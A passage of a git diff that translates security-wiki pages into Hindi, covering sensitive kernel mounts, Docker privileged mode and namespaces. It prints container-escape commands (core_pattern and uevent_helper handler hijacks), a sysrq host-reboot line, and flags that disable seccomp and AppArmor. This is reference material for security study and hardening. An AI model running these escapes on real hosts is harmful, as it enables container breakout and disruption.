[**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**।** ## procfs Vulnerabilities ### `/proc/sys` -This directory permits access to modify kernel variables, usually via `sysctl(2)`, and contains several subdirectories of concern: +यह निर्देशिका कर्नेल वेरिएबल्स को संशोधित करने की अनुमति देती है, आमतौर पर `sysctl(2)` के माध्यम से, और इसमें कई उपनिर्देशिकाएँ शामिल हैं: #### **`/proc/sys/kernel/core_pattern`** -- Described in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). -- Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe `|`. -- **Testing and Exploitation Example**: +- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) में वर्णित। +- कोर-फ़ाइल निर्माण पर निष्पादित करने के लिए एक प्रोग्राम को परिभाषित करने की अनुमति देता है, जिसमें पहले 128 बाइट्स तर्क के रूप में होते हैं। यदि फ़ाइल एक पाइप `|` से शुरू होती है तो यह कोड निष्पादन की ओर ले जा सकता है। +- **परीक्षण और शोषण उदाहरण**: - ```bash - [ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access - cd /proc/sys/kernel - echo "|$overlay/shell.sh" > core_pattern # Set custom handler - sleep 5 && ./crash & # Trigger handler - ``` +```bash +[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access +cd /proc/sys/kernel +echo "|$overlay/shell.sh" > core_pattern # Set custom handler +sleep 5 && ./crash & # Trigger handler +``` #### **`/proc/sys/kernel/modprobe`** -- Detailed in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- Contains the path to the kernel module loader, invoked for loading kernel modules. -- **Checking Access Example**: +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) में विस्तृत। +- कर्नेल मॉड्यूल लोडर का पथ रखता है, जिसे कर्नेल मॉड्यूल लोड करने के लिए बुलाया जाता है। +- **एक्सेस जांचने का उदाहरण**: - ```bash - ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe - ``` +```bash +ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe +``` #### **`/proc/sys/vm/panic_on_oom`** -- Referenced in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs. +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) में संदर्भित। +- एक वैश्विक ध्वज जो नियंत्रित करता है कि क्या कर्नेल पैनिक करता है या OOM स्थिति होने पर OOM किलर को बुलाता है। #### **`/proc/sys/fs`** -- As per [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contains options and information about the file system. -- Write access can enable various denial-of-service attacks against the host. +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) के अनुसार, फ़ाइल प्रणाली के बारे में विकल्प और जानकारी रखता है। +- लेखन पहुंच विभिन्न सेवा से वंचित हमलों को सक्षम कर सकती है। #### **`/proc/sys/fs/binfmt_misc`** -- Allows registering interpreters for non-native binary formats based on their magic number. -- Can lead to privilege escalation or root shell access if `/proc/sys/fs/binfmt_misc/register` is writable. -- Relevant exploit and explanation: - - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) - - In-depth tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) +- उनके जादुई संख्या के आधार पर गैर-देशी बाइनरी प्रारूपों के लिए व्याख्याकारों को पंजीकृत करने की अनुमति देता है। +- यदि `/proc/sys/fs/binfmt_misc/register` लिखा जा सकता है तो यह विशेषाधिकार वृद्धि या रूट शेल एक्सेस की ओर ले जा सकता है। +- प्रासंगिक शोषण और व्याख्या: +- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) +- गहन ट्यूटोरियल: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) ### Others in `/proc` #### **`/proc/config.gz`** -- May reveal the kernel configuration if `CONFIG_IKCONFIG_PROC` is enabled. -- Useful for attackers to identify vulnerabilities in the running kernel. +- यदि `CONFIG_IKCONFIG_PROC` सक्षम है तो कर्नेल कॉन्फ़िगरेशन प्रकट कर सकता है। +- चल रहे कर्नेल में कमजोरियों की पहचान करने के लिए हमलावरों के लिए उपयोगी। #### **`/proc/sysrq-trigger`** -- Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions. -- **Rebooting Host Example**: +- Sysrq कमांड को बुलाने की अनुमति देता है, संभावित रूप से तत्काल सिस्टम रिबूट या अन्य महत्वपूर्ण क्रियाएँ कर सकता है। +- **होस्ट को रिबूट करने का उदाहरण**: - ```bash - echo b > /proc/sysrq-trigger # Reboots the host - ``` +```bash +echo b > /proc/sysrq-trigger # Reboots the host +``` #### **`/proc/kmsg`** -- Exposes kernel ring buffer messages. -- Can aid in kernel exploits, address leaks, and provide sensitive system information. +- कर्नेल रिंग बफर संदेशों को उजागर करता है। +- कर्नेल शोषण, पते के रिसाव में मदद कर सकता है, और संवेदनशील सिस्टम जानकारी प्रदान कर सकता है। #### **`/proc/kallsyms`** -- Lists kernel exported symbols and their addresses. -- Essential for kernel exploit development, especially for overcoming KASLR. -- Address information is restricted with `kptr_restrict` set to `1` or `2`. -- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- कर्नेल द्वारा निर्यातित प्रतीकों और उनके पते की सूची बनाता है। +- कर्नेल शोषण विकास के लिए आवश्यक, विशेष रूप से KASLR को पार करने के लिए। +- पता जानकारी `kptr_restrict` को `1` या `2` पर सेट करने के साथ प्रतिबंधित है। +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) में विवरण। #### **`/proc/[pid]/mem`** -- Interfaces with the kernel memory device `/dev/mem`. -- Historically vulnerable to privilege escalation attacks. -- More on [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- कर्नेल मेमोरी डिवाइस `/dev/mem` के साथ इंटरफेस करता है। +- ऐतिहासिक रूप से विशेषाधिकार वृद्धि हमलों के प्रति संवेदनशील। +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) पर अधिक। #### **`/proc/kcore`** -- Represents the system's physical memory in ELF core format. -- Reading can leak host system and other containers' memory contents. -- Large file size can lead to reading issues or software crashes. -- Detailed usage in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). +- सिस्टम की भौतिक मेमोरी को ELF कोर प्रारूप में दर्शाता है। +- पढ़ने से होस्ट सिस्टम और अन्य कंटेनरों की मेमोरी सामग्री लीक हो सकती है। +- बड़ी फ़ाइल का आकार पढ़ने की समस्याओं या सॉफ़्टवेयर क्रैश का कारण बन सकता है। +- [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) में विस्तृत उपयोग। #### **`/proc/kmem`** -- Alternate interface for `/dev/kmem`, representing kernel virtual memory. -- Allows reading and writing, hence direct modification of kernel memory. +- कर्नेल वर्चुअल मेमोरी का प्रतिनिधित्व करने के लिए `/dev/kmem` के लिए वैकल्पिक इंटरफेस। +- पढ़ने और लिखने की अनुमति देता है, इसलिए कर्नेल मेमोरी का प्रत्यक्ष संशोधन। #### **`/proc/mem`** -- Alternate interface for `/dev/mem`, representing physical memory. -- Allows reading and writing, modification of all memory requires resolving virtual to physical addresses. +- भौतिक मेमोरी का प्रतिनिधित्व करने के लिए `/dev/mem` के लिए वैकल्पिक इंटरफेस। +- पढ़ने और लिखने की अनुमति देता है, सभी मेमोरी का संशोधन वर्चुअल से भौतिक पते को हल करने की आवश्यकता है। #### **`/proc/sched_debug`** -- Returns process scheduling information, bypassing PID namespace protections. -- Exposes process names, IDs, and cgroup identifiers. +- प्रक्रिया शेड्यूलिंग जानकारी लौटाता है, PID namespace सुरक्षा को बायपास करता है। +- प्रक्रिया नाम, आईडी और cgroup पहचानकर्ताओं को उजागर करता है। #### **`/proc/[pid]/mountinfo`** -- Provides information about mount points in the process's mount namespace. -- Exposes the location of the container `rootfs` or image. +- प्रक्रिया के माउंट namespace में माउंट बिंदुओं के बारे में जानकारी प्रदान करता है। +- कंटेनर `rootfs` या छवि के स्थान को उजागर करता है। ### `/sys` Vulnerabilities #### **`/sys/kernel/uevent_helper`** -- Used for handling kernel device `uevents`. -- Writing to `/sys/kernel/uevent_helper` can execute arbitrary scripts upon `uevent` triggers. -- **Example for Exploitation**: %%%bash +- कर्नेल डिवाइस `uevents` को संभालने के लिए उपयोग किया जाता है। +- `/sys/kernel/uevent_helper` में लिखने से `uevent` ट्रिगर होने पर मनमाने स्क्रिप्ट को निष्पादित किया जा सकता है। +- **शोषण का उदाहरण**: %%%bash - #### Creates a payload +#### एक पेलोड बनाता है - echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper +echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper - #### Finds host path from OverlayFS mount for container +#### कंटेनर के लिए OverlayFS माउंट से होस्ट पथ खोजता है - host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) +host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) - #### Sets uevent_helper to malicious helper +#### दुर्भावनापूर्ण सहायक के लिए uevent_helper सेट करता है - echo "$host_path/evil-helper" > /sys/kernel/uevent_helper +echo "$host_path/evil-helper" > /sys/kernel/uevent_helper - #### Triggers a uevent +#### एक uevent को ट्रिगर करता है - echo change > /sys/class/mem/null/uevent +echo change > /sys/class/mem/null/uevent - #### Reads the output +#### आउटपुट पढ़ता है - cat /output %%% +cat /output %%% #### **`/sys/class/thermal`** -- Controls temperature settings, potentially causing DoS attacks or physical damage. +- तापमान सेटिंग्स को नियंत्रित करता है, संभावित रूप से DoS हमलों या भौतिक क्षति का कारण बनता है। #### **`/sys/kernel/vmcoreinfo`** -- Leaks kernel addresses, potentially compromising KASLR. +- कर्नेल पते लीक करता है, संभावित रूप से KASLR को खतरे में डालता है। #### **`/sys/kernel/security`** -- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor. -- Access might enable a container to disable its MAC system. +- `securityfs` इंटरफेस को रखता है, जो AppArmor जैसे Linux सुरक्षा मॉड्यूल की कॉन्फ़िगरेशन की अनुमति देता है। +- पहुंच एक कंटेनर को अपने MAC सिस्टम को निष्क्रिय करने में सक्षम कर सकती है। -#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`** +#### **`/sys/firmware/efi/vars` और `/sys/firmware/efi/efivars`** -- Exposes interfaces for interacting with EFI variables in NVRAM. -- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines. +- NVRAM में EFI वेरिएबल्स के साथ इंटरैक्ट करने के लिए इंटरफेस को उजागर करता है। +- गलत कॉन्फ़िगरेशन या शोषण से लैपटॉप या अनबूटेबल होस्ट मशीनें बर्बाद हो सकती हैं। #### **`/sys/kernel/debug`** -- `debugfs` offers a "no rules" debugging interface to the kernel. -- History of security issues due to its unrestricted nature. +- `debugfs` कर्नेल के लिए "कोई नियम नहीं" डिबगिंग इंटरफेस प्रदान करता है। +- इसकी अनियंत्रित प्रकृति के कारण सुरक्षा मुद्दों का इतिहास है। ### References @@ -175,8 +171,4 @@ This directory permits access to modify kernel variables, usually via `sysctl(2) - [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf) - [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf) -
- -{% embed url="https://websec.nl/" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index ce967ad2d..3897460f1 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -2,28 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -## What Affects +## क्या प्रभावित होता है -When you run a container as privileged these are the protections you are disabling: +जब आप एक कंटेनर को विशेषाधिकार प्राप्त के रूप में चलाते हैं, तो आप ये सुरक्षा उपाय बंद कर रहे हैं: -### Mount /dev +### माउंट /dev -In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host. +एक विशेषाधिकार प्राप्त कंटेनर में, सभी **डिवाइस `/dev/` में पहुंच योग्य होते हैं**। इसलिए आप **माउंटिंग** करके होस्ट के डिस्क से **भाग सकते हैं**। {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh ls /dev console fd mqueue ptmx random stderr stdout urandom core full null pts shm stdin tty zero ``` - {{#endtab}} {{#tab name="Inside Privileged Container"}} - ```bash # docker run --rm --privileged -it alpine sh ls /dev @@ -33,17 +30,15 @@ core mqueue ptmx stdin tty26 cpu nbd0 pts stdout tty27 tty47 ttyS0 [...] ``` - {{#endtab}} {{#endtabs}} -### Read-only kernel file systems +### केवल-पढ़ने योग्य कर्नेल फ़ाइल सिस्टम -Kernel file systems provide a mechanism for a process to modify the behavior of the kernel. However, when it comes to container processes, we want to prevent them from making any changes to the kernel. Therefore, we mount kernel file systems as **read-only** within the container, ensuring that the container processes cannot modify the kernel. +कर्नेल फ़ाइल सिस्टम एक प्रक्रिया को कर्नेल के व्यवहार को संशोधित करने के लिए एक तंत्र प्रदान करते हैं। हालाँकि, जब कंटेनर प्रक्रियाओं की बात आती है, तो हम उन्हें कर्नेल में कोई परिवर्तन करने से रोकना चाहते हैं। इसलिए, हम कर्नेल फ़ाइल सिस्टम को कंटेनर के भीतर **केवल-पढ़ने योग्य** के रूप में माउंट करते हैं, यह सुनिश्चित करते हुए कि कंटेनर प्रक्रियाएँ कर्नेल को संशोधित नहीं कर सकतीं। {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh mount | grep '(ro' @@ -52,28 +47,24 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu) cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct) ``` - {{#endtab}} {{#tab name="Inside Privileged Container"}} - ```bash # docker run --rm --privileged -it alpine sh mount | grep '(ro' ``` - {{#endtab}} {{#endtabs}} -### Masking over kernel file systems +### कर्नेल फ़ाइल सिस्टम पर मास्किंग -The **/proc** file system is selectively writable but for security, certain parts are shielded from write and read access by overlaying them with **tmpfs**, ensuring container processes can't access sensitive areas. +**/proc** फ़ाइल प्रणाली चयनात्मक रूप से लिखने योग्य है लेकिन सुरक्षा के लिए, कुछ भागों को **tmpfs** के साथ ओवरले करके लिखने और पढ़ने की पहुंच से ढक दिया गया है, यह सुनिश्चित करते हुए कि कंटेनर प्रक्रियाएँ संवेदनशील क्षेत्रों तक नहीं पहुँच सकतीं। -> [!NOTE] > **tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever. +> [!NOTE] > **tmpfs** एक फ़ाइल प्रणाली है जो सभी फ़ाइलों को वर्चुअल मेमोरी में संग्रहीत करती है। tmpfs आपके हार्ड ड्राइव पर कोई फ़ाइलें नहीं बनाता है। इसलिए यदि आप एक tmpfs फ़ाइल प्रणाली को अनमाउंट करते हैं, तो इसमें मौजूद सभी फ़ाइलें हमेशा के लिए खो जाती हैं। {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh mount | grep /proc.*tmpfs @@ -81,30 +72,26 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime) tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755) tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755) ``` - {{#endtab}} {{#tab name="Inside Privileged Container"}} - ```bash # docker run --rm --privileged -it alpine sh mount | grep /proc.*tmpfs ``` - {{#endtab}} {{#endtabs}} -### Linux capabilities +### Linux क्षमताएँ -Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read: +कंटेनर इंजन कंटेनरों को **सीमित संख्या में क्षमताओं** के साथ लॉन्च करते हैं ताकि डिफ़ॉल्ट रूप से कंटेनर के अंदर क्या होता है, उसे नियंत्रित किया जा सके। **विशेषाधिकार प्राप्त** वाले सभी **क्षमताओं** तक पहुँच रखते हैं। क्षमताओं के बारे में जानने के लिए पढ़ें: {{#ref}} ../linux-capabilities.md {{#endref}} {{#tabs}} -{{#tab name="Inside default container"}} - +{{#tab name="डिफ़ॉल्ट कंटेनर के अंदर"}} ```bash # docker run --rm -it alpine sh apk add -U libcap; capsh --print @@ -113,11 +100,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap [...] ``` - {{#endtab}} {{#tab name="Inside Privileged Container"}} - ```bash # docker run --rm --privileged -it alpine sh apk add -U libcap; capsh --print @@ -126,15 +111,14 @@ Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read [...] ``` - {{#endtab}} {{#endtabs}} -You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags. +आप `--privileged` मोड में चलाए बिना कंटेनर के लिए उपलब्ध क्षमताओं को `--cap-add` और `--cap-drop` फ्लैग का उपयोग करके नियंत्रित कर सकते हैं। ### Seccomp -**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here: +**Seccomp** एक कंटेनर द्वारा कॉल किए जा सकने वाले **syscalls** को **सीमित** करने के लिए उपयोगी है। डॉकर कंटेनर चलाते समय एक डिफ़ॉल्ट सेकंप प्रोफ़ाइल डिफ़ॉल्ट रूप से सक्षम होती है, लेकिन विशेषाधिकार मोड में यह अक्षम होती है। Seccomp के बारे में अधिक जानें यहाँ: {{#ref}} seccomp.md @@ -142,100 +126,86 @@ seccomp.md {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh grep Seccomp /proc/1/status Seccomp: 2 Seccomp_filters: 1 ``` - {{#endtab}} {{#tab name="Inside Privileged Container"}} - ```bash # docker run --rm --privileged -it alpine sh grep Seccomp /proc/1/status Seccomp: 0 Seccomp_filters: 0 ``` - {{#endtab}} {{#endtabs}} - ```bash # You can manually disable seccomp in docker with --security-opt seccomp=unconfined ``` - -Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default** +यह भी ध्यान दें कि जब **Kubernetes** क्लस्टर में Docker (या अन्य CRIs) का उपयोग किया जाता है, तो **seccomp फ़िल्टर डिफ़ॉल्ट रूप से अक्षम** होता है। ### AppArmor -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled. +**AppArmor** एक कर्नेल संवर्धन है जो **containers** को **सीमित** सेट के **resources** के साथ **per-program profiles** में सीमित करता है। जब आप `--privileged` ध्वज के साथ चलाते हैं, तो यह सुरक्षा अक्षम हो जाती है। {{#ref}} apparmor.md {{#endref}} - ```bash # You can manually disable seccomp in docker with --security-opt apparmor=unconfined ``` - ### SELinux -Running a container with the `--privileged` flag disables **SELinux labels**, causing it to inherit the label of the container engine, typically `unconfined`, granting full access similar to the container engine. In rootless mode, it uses `container_runtime_t`, while in root mode, `spc_t` is applied. +`--privileged` ध्वज के साथ कंटेनर चलाने से **SELinux लेबल** निष्क्रिय हो जाते हैं, जिससे यह कंटेनर इंजन का लेबल विरासत में लेता है, जो आमतौर पर `unconfined` होता है, जो कंटेनर इंजन के समान पूर्ण पहुंच प्रदान करता है। रूटलेस मोड में, यह `container_runtime_t` का उपयोग करता है, जबकि रूट मोड में, `spc_t` लागू होता है। {{#ref}} ../selinux.md {{#endref}} - ```bash # You can manually disable selinux in docker with --security-opt label:disable ``` +## क्या प्रभावित नहीं करता -## What Doesn't Affect +### नामस्थान -### Namespaces - -Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags. +Namespaces **प्रभावित नहीं होते** `--privileged` ध्वज द्वारा। भले ही उनके पास सुरक्षा प्रतिबंध सक्षम नहीं हैं, वे **सिस्टम या होस्ट नेटवर्क पर सभी प्रक्रियाओं को नहीं देखते, उदाहरण के लिए**। उपयोगकर्ता **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** कंटेनर इंजन ध्वजों का उपयोग करके व्यक्तिगत नामस्थान को अक्षम कर सकते हैं। {{#tabs}} {{#tab name="Inside default privileged container"}} - ```bash # docker run --rm --privileged -it alpine sh ps -ef PID USER TIME COMMAND - 1 root 0:00 sh - 18 root 0:00 ps -ef +1 root 0:00 sh +18 root 0:00 ps -ef ``` - {{#endtab}} {{#tab name="Inside --pid=host Container"}} - ```bash # docker run --rm --privileged --pid=host -it alpine sh ps -ef PID USER TIME COMMAND - 1 root 0:03 /sbin/init - 2 root 0:00 [kthreadd] - 3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs +1 root 0:03 /sbin/init +2 root 0:00 [kthreadd] +3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs [...] ``` - {{#endtab}} {{#endtabs}} -### User namespace +### उपयोगकर्ता नामस्थान -**By default, container engines don't utilize user namespaces, except for rootless containers**, which require them for file system mounting and using multiple UIDs. User namespaces, integral for rootless containers, cannot be disabled and significantly enhance security by restricting privileges. +**डिफ़ॉल्ट रूप से, कंटेनर इंजन उपयोगकर्ता नामस्थान का उपयोग नहीं करते हैं, सिवाय रूटलेस कंटेनरों के**, जिन्हें फ़ाइल प्रणाली माउंटिंग और कई UID का उपयोग करने के लिए इसकी आवश्यकता होती है। उपयोगकर्ता नामस्थान, जो रूटलेस कंटेनरों के लिए अनिवार्य हैं, को अक्षम नहीं किया जा सकता और यह विशेषाधिकारों को सीमित करके सुरक्षा को महत्वपूर्ण रूप से बढ़ाते हैं। -## References +## संदर्भ - [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md index 6df879add..94092dae0 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md @@ -1,44 +1,44 @@ -# Namespaces +# नामस्थान {{#include ../../../../banners/hacktricks-training.md}} -### **PID namespace** +### **PID नामस्थान** {{#ref}} pid-namespace.md {{#endref}} -### **Mount namespace** +### **माउंट नामस्थान** {{#ref}} mount-namespace.md {{#endref}} -### **Network namespace** +### **नेटवर्क नामस्थान** {{#ref}} network-namespace.md {{#endref}} -### **IPC Namespace** +### **IPC नामस्थान** {{#ref}} ipc-namespace.md {{#endref}} -### **UTS namespace** +### **UTS नामस्थान** {{#ref}} uts-namespace.md {{#endref}} -### Time Namespace +### समय नामस्थान {{#ref}} time-namespace.md {{#endref}} -### User namespace +### उपयोगकर्ता नामस्थान {{#ref}} user-namespace.md diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index d7f4c2d65..a03d3625d 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -4,17 +4,17 @@ ## Basic Information -A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O. +Cgroup namespace एक Linux kernel विशेषता है जो **namespace के भीतर चल रहे प्रक्रियाओं के लिए cgroup पदानुक्रम का पृथक्करण प्रदान करती है**। Cgroups, जिसका संक्षिप्त रूप **control groups** है, एक kernel विशेषता है जो प्रक्रियाओं को पदानुक्रमित समूहों में व्यवस्थित करने की अनुमति देती है ताकि **CPU, मेमोरी, और I/O जैसे सिस्टम संसाधनों पर सीमाएँ प्रबंधित और लागू की जा सकें**। -While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces. +हालांकि cgroup namespaces अन्य namespace प्रकारों की तरह अलग नहीं हैं (PID, mount, network, आदि), वे namespace पृथक्करण के सिद्धांत से संबंधित हैं। **Cgroup namespaces cgroup पदानुक्रम के दृश्य को वर्चुअलाइज़ करते हैं**, ताकि cgroup namespace के भीतर चलने वाली प्रक्रियाएँ होस्ट या अन्य namespaces में चलने वाली प्रक्रियाओं की तुलना में पदानुक्रम का एक अलग दृश्य देख सकें। ### How it works: -1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup. -2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree. -3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves. +1. जब एक नया cgroup namespace बनाया जाता है, **यह बनाने वाली प्रक्रिया के cgroup के आधार पर cgroup पदानुक्रम का एक दृश्य के साथ शुरू होता है**। इसका मतलब है कि नए cgroup namespace में चलने वाली प्रक्रियाएँ पूरे cgroup पदानुक्रम का केवल एक उपसमुच्चय देखेंगी, जो बनाने वाली प्रक्रिया के cgroup पर आधारित है। +2. cgroup namespace के भीतर प्रक्रियाएँ **अपने cgroup को पदानुक्रम का मूल के रूप में देखेंगी**। इसका मतलब है कि, namespace के भीतर प्रक्रियाओं के दृष्टिकोण से, उनका अपना cgroup मूल के रूप में प्रकट होता है, और वे अपने उपसमुच्चय के बाहर के cgroups को नहीं देख या एक्सेस नहीं कर सकते। +3. Cgroup namespaces सीधे संसाधनों का पृथक्करण प्रदान नहीं करते; **वे केवल cgroup पदानुक्रम दृश्य का पृथक्करण प्रदान करते हैं**। **संसाधन नियंत्रण और पृथक्करण अभी भी cgroup** उपप्रणालियों (जैसे, cpu, memory, आदि) द्वारा लागू किया जाता है। -For more information about CGroups check: +CGroups के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../cgroups.md @@ -25,67 +25,57 @@ For more information about CGroups check: ### Create different Namespaces #### CLI - ```bash sudo unshare -C [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +एक नए `/proc` फ़ाइल प्रणाली के उदाहरण को माउंट करके यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नया माउंट नामस्थान उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का **सटीक और अलग दृष्टिकोण** रखता है।
-Error: bash: fork: Cannot allocate memory +त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं: -1. **Problem Explanation**: +1. **समस्या का विवरण**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे 